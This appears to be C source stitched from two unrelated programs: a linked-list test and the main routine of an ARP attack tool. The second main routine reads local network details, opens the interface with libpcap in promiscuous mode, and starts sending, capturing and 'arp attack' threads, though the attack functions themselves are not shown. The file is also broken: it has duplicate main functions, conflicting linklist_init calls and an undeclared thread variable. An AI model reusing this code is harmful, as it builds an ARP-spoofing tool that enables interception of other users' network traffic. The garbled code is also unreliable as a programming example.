int main(int argc, char **argv)
{
PNODE head;
head = linklist_init();
linklist_insert_tail(head,123);
linklist_insert_tail(head,456);
linklist_insert_tail(head,123);
linklist_insert_in(head,1234,0);
linklist_print(head);
linklist_insert_data(head,123,890);
linklist_print(head);
linklist_reverse(head);
linklist_print(head);
return 0;
}
/******************************************************************************
* 功能：主函数
* 参数：无
******************************************************************************/
int main(int argc, char **argv)
{
struct hostent *host;
u_char source_mac[18]; //源mac
struct my_data pdata;
int pthread_err; //线程返回值
pthread_t pthread_id1; //线程1为发送ARP帧
pthread_t pthread_id3; //线程3为arp攻击
struct in_addr local_ip; //本地ip地址，字节流形式
struct in_addr local_mask; //本地mask地址，字节流形式
u_char *local_mac = NULL; //本地mac地址，字节流形式
local_mac = (u_char *)malloc(ETH_ALEN);
if(NULL == local_mac)
{
printf("Memory allocation failure\n");
exit(-1);
}
memset(local_mac, 0, ETH_ALEN);
get_local_info(local_mac, &local_ip, &local_mask);
pdata.source_ip.s_addr = local_ip.s_addr;
memcpy(pdata.source_mac, local_mac, ETH_ALEN);
memset(source_mac, 0, 18);
sprintf(source_mac, "%02x:%02x:%02x:%02x:%02x:%02x",
*(local_mac+0), *(local_mac+1), *(local_mac+2),
*(local_mac+3), *(local_mac+4), *(local_mac+5)
);
host = gethostbyaddr(&local_ip, sizeof(struct in_addr), AF_INET);
if(NULL == host)
{
printf("gethostbyaddr error: %s\n", hstrerror(h_errno));
exit(-1);
}
printf("\n=======================================================================================================\n");
printf("local infomation:\n");
printf("hostname: %s ", host->h_name);
printf("ip: %s ", inet_ntoa(local_ip));
printf("mac: %s ", source_mac);
printf("mask: %s", inet_ntoa(local_mask));
printf("\n=======================================================================================================\n");
if( OK != linklist_init(&l) ) //初始化链表
{
printf("初始化链表失败\n");
exit(-1);
}
//查找网络设备
dev = pcap_lookupdev(error_content);
if(NULL == dev)
{
printf("couldn't find default device: %s\n", error_content);
exit(-1);
}
else
{
printf("find success device : %s\n", dev);
}
//打开网络设备(网卡必须要设置为混杂模式：ifconfig eth0 promise)
pcap_handle = pcap_open_live(dev, 65535, 1, 0, error_content);
if(NULL == pcap_handle)
{
printf("couldn't open the net device: %s\n", error_content);
exit(-1);
}
else
{
printf("open net device success\n");
}
//创建线程
pthread_err = pthread_create(&pthread_id1, NULL, send_arp_packet, &(pdata));
if(pthread_err != 0)
{
printf("Can't create thread: %s\n", strerror(pthread_err));
exit(-1);
}
pthread_err = pthread_create(&pthread_id2, NULL, capture_arp_packet, NULL);
if(pthread_err != 0)
{
printf("Can't create thread: %s\n", strerror(pthread_err));
exit(-1);
}
sleep(10);
pthread_err = pthread_create(&pthread_id3, NULL, arp_attack, NULL);
if(pthread_err != 0)
{
printf("Can't create thread: %s\n", strerror(pthread_err));
exit(-1);
}
//等待线程结束
pthread_join(pthread_id1, NULL);
pthread_join(pthread_id2, NULL);
pthread_join(pthread_id3, NULL);
free(local_mac);
local_mac = NULL;
linklist_destroy(&l);
return 0;
}